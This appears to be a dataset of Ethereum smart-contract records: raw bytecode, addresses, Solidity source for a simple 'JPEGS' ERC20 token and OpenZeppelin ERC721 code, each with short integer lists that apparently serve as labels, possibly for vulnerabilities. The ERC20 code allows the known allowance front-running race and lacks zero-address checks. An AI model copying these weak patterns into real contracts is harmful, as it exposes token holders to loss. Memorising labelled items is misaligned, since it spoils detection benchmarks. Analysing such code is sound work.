00081118015611dfc57504386611dd8600184612af8565b81548110611de857611de8612c0d565b60009182526020909120015463ffffffff16145b15611e5c57611e0a82612565565b86611e16600184612af8565b81548110611e2657611e26612c0d565b9060005260206000200160000160046101000a8154816001600160e01b0302191690836001600160e01b03160217905550611ec7565b856040518060400160405280611e71436118af565b63ffffffff168152602001611e8585612565565b6001600160e01b0390811690915282546001810184556000938452602093849020835194909301519091166401000000000263ffffffff909316929092179101555b50935093915050565b816001600160a01b0316836001600160a01b031614158015611ef25750600081115b15610772576001600160a01b03831615611f80576001600160a01b03831660009081526009602052604081208190611f2d9061218c85611d57565b91509150846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248383604051611f75929190918252602082015260400190565b60405180910390a250505b6001600160a01b03821615610772576001600160a01b03821660009081526009602052604081208190611fb690611d4b85611d57565b91509150836001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248383604051611ffe929190918252602082015260400190565b60405180910390a25050505050565b600082600001828154811061202457612024612c0d565b9060005260206000200154905092915050565b6001600160a01b0382166120975760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161072b565b6001600160a01b0382166000908152600260205260409020548181101561210b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161072b565b6001600160a01b038316600090815260026020526040812083830390556004805484929061213a908490612af8565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361077283600084612533565b60006108b38284612af8565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156121cf575060009050600361227c565b8460ff16601b141580156121e757508460ff16601c14155b156121f8575060009050600461227c565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561224c573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166122755760006001925092505061227c565b9150600090505b94509492505050565b600081600481111561229957612299612be1565b14156122a25750565b60018160048111156122b6576122b6612be1565b14156123045760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161072b565b600281600481111561231857612318612be1565b14156123665760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161072b565b600381600481111561237a5761237a612be1565b14156123d35760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161072b565b60048160048111156123e7576123e7612be1565b14156109155760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161072b565b60008181526001830160205260408120548015612529576000612464600183612af8565b855490915060009061247890600190612af8565b90508181146124dd57600086600001828154811061249857612498612c0d565b90600052602060002001549050808760000184815481106124bb576124bb612c0d565b6000918252602080832090910192909255918252600188019052604090208390555b85548690806124ee576124ee612bf7565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506105ef565b60009150506105ef565b6001600160a01b0383811660009081526008602052604080822054858416835291205461077292918216911683611ed0565b60006001600160e01b038211156119145760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e20326044820152663234206269747360c81b606482015260840161072b565b80356001600160a01b03811681146125e557600080fd5b919050565b805167ffffffffffffffff811681146125e557600080fd5b803560ff811681146125e557600080fd5b60006020828403121561262557600080fd5b6108b3826125ce565b6000806040838503121561264157600080fd5b61264a836125ce565b9150612658602084016125ce565b90509250929050565b60008060006060848603121561267657600080fd5b61267f846125ce565b925061268d602085016125ce565b9150604084013590509250925092565b600080600080600080600060e0888a0312156126b857600080fd5b6126c1886125ce565b96506126cf602089016125ce565b955060408801359450606088013593506126eb60808901612602565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561271a57600080fd5b612723836125ce565b946020939093013593505050565b60008060008060008060c0878903121561274a57600080fd5b612753876125ce565b9550602087013594506040870135935061276f60608801612602565b92506080870135915060a087013590509295509295509295565b6000806040838503121561279c57600080fd5b6127a5836125ce565b9150602083013563ffffffff811681146127be57600080fd5b809150509250929050565b600060208083850312156127dc57600080fd5b825167ffffffffffffffff808211156127f457600080fd5b818501915085601f83011261280857600080fd5b81518181111561281a5761281a612c23565b612828848260051b01612a6e565b81815284810192508385016060808402860187018a101561284857600080fd5b60009550855b848110156128a25781838c031215612864578687fd5b61286c612a45565b8351815261287b8985016125ea565b89820152604061288c8186016125ea565b908201528652948701949181019160010161284e565b50919998505050505050505050565b6000602082840312156128c357600080fd5b5035919050565b600080604083850312156128dd57600080fd5b82359150612658602084016125ce565b6000806040838503121561290057600080fd5b50508035926020909101359150565b60006020828403121561292157600080fd5b81356001600160e01b0319811681146108b357600080fd5b60006020828403121561294b57600080fd5b5051919050565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161298a816017850160208801612b38565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516129bb816028840160208801612b38565b01602801949350505050565b60208152600082518060208401526129e6816040850160208701612b38565b601f01601f19169190910160400192915050565b6020808252602b908201527f7665416e7a656e546f6b656e2e6f6e6c79486173526f6c653a205065726d697360408201526a1cda5bdb8819195b9a595960aa1b606082015260800190565b6040516060810167ffffffffffffffff81118282101715612a6857612a68612c23565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715612a9757612a97612c23565b604052919050565b60008219821115612ab257612ab2612bcb565b500190565b600082612ad457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612af357612af3612bcb565b500290565b600082821015612b0a57612b0a612bcb565b500390565b600067ffffffffffffffff83811690831681811015612b3057612b30612bcb565b039392505050565b60005b83811015612b53578181015183820152602001612b3b565b8381111561181a5750506000910152565b600081612b7357612b73612bcb565b506000190190565b600181811c90821680612b8f57607f821691505b602082108114156119d457634e487b7160e01b600052602260045260246000fd5b6000600019821415612bc457612bc4612bcb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122057e3528131648e2a30da547e326b0cf8ade103a71a2b37e4e683d4b534fd38ec64736f6c63430008070033
[ 5, 9, 12 ]
0xf3739a71cfdf0e523b895c6d705cae781485d632
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract JPEGS is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "JPEGS"; symbol = "JPEGS"; decimals = 18; _totalSupply = 1986000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a723058206c091f862ad7e8ac5eec3d0a05f6960a12289ef9a3d3f4f7e04035f9d9636bca0029
[ 38 ]
0xF373Ac8a824A455AD640AD5cAb7B7a9026e53d40
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to 